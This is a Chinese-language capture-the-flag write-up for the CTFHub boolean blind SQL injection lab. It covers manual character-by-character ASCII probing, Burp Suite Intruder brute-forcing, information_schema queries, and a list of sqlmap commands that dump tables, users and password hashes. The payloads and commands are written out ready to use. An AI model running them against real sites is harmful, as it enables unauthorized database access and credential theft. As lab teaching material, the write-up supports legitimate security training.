CTFHub(布尔盲注 判断是否,无回显)

盲注主要分为两种,一种为时间类型盲注,一种为布尔类型盲注

判断是否是布尔类型的:当一个界面存在注入,但是没有显示位,没有SQL语句执行错误信息,由于布尔类型的注入只会告知是或者不是,所以只能通过页面返回的对与错来进行一个SQL的注入


目录

布尔盲注手动方式

布尔盲注BurpSuite方式

sqlmap方式


布尔盲注手动方式

首先猜测数据库的长度

1 and length(database()) >5

报错了,数据库长度并不大于5,再次进行尝试

长度等于4,知道的数据库的长度,开始猜测数据库的名称,对应ASCII码表,输入id=1 and ascii(substr(database(),1,1))>110,回显正确,得知数据库名第一个字符的ASCII码大于110,输入id=1 and ascii(substr(database(),1,1))>200,回显错误,得知第一个ASCII码大于110小于200(ascii只有0~127位,随便举例子),输入id=1 and ascii(substr(database(),1,1))=115,回显正确,第一个字符为s

1 and ascii(substr(database(),1,1))=115

ASCII码表

最后测试出数据库名为'sqli',非常繁琐吧。。。还记得BurpSuite内的一个爆破功能吗?我们可以利用这个功能来快速的查内容,而不需要手动来试

布尔盲注BurpSuite方式

首先写一个字典

由于ASCII共127位,这里从0开始写到127即可【当然也可以用爆破自带的number】

打开BurpSuite

将interceot is off打开,打开后

点击Search

抓到包,右击send to intruder

host为url,port为端口,然后点击positions

点击clear,清清除所有的Add

然后选中对应ASCII的数,也就是末尾的数字

然后点击Add

点击payloads

加入字典

点击旁边的start,开始爆破

可以看到0和115的ASCII的长度 ,与其他的不同,判断数据库的第一个字母为's',爆破的时候,只需更改substr的值即可,以此类推得到'sqli'【注意,在这里substr默认值是1,1,而limit的默认值是0,1


column_name:列的名称

Information_schema.columns:表示所有的列的信息

Information_schema:表示所有信息,包括库、表、列

Information_schema.tables:表示所有的表的信息

table_schema:数据库的名称

table_name:表的名称


在不知道任何条件时,查询

Select 要查询的字段 from 库名.表名

在已知一个条件时

Select 要查询的字段 from 库名.表名 where 已知条件=’已知条件的值’

Group_concat(xxx_xxx)与limit m,n相同【m默认是0】

在已知一个及一个以上的条件时,用and连接或&&

Select 要查询的字段 from 库名.表名 where 已知条件=’已知条件的值’ and 已知条件=’已知条件的值’


sqlmap方式

关于sqlmap的基础命令,将url修改为需要注入的url即可

查询sqlmap是否存在注入命令
sqlmap.py -u url/?id=1
查询当前用户下的所有数据库
sqlmap.py -u url/?id=1 --dbs
获取数据库的表名
sqlmap.py -u url/?id=1 -D (数据库名) --tables
获取表中的字段名
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) --columns
获取字段的内容
sqlmap.py -u url/?id=1 -D (数据库名) -T (输入需要查询的表名) -C (表内的字段名) --dump

查询数据库的所有用户
sqlmap.py -u url/?id=1 --users
查询数据库的所有密码
sqlmap.py -u url/?id=1 --passwords
查询数据库名称
sqlmap.py -u url/?id=1 --current-db

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值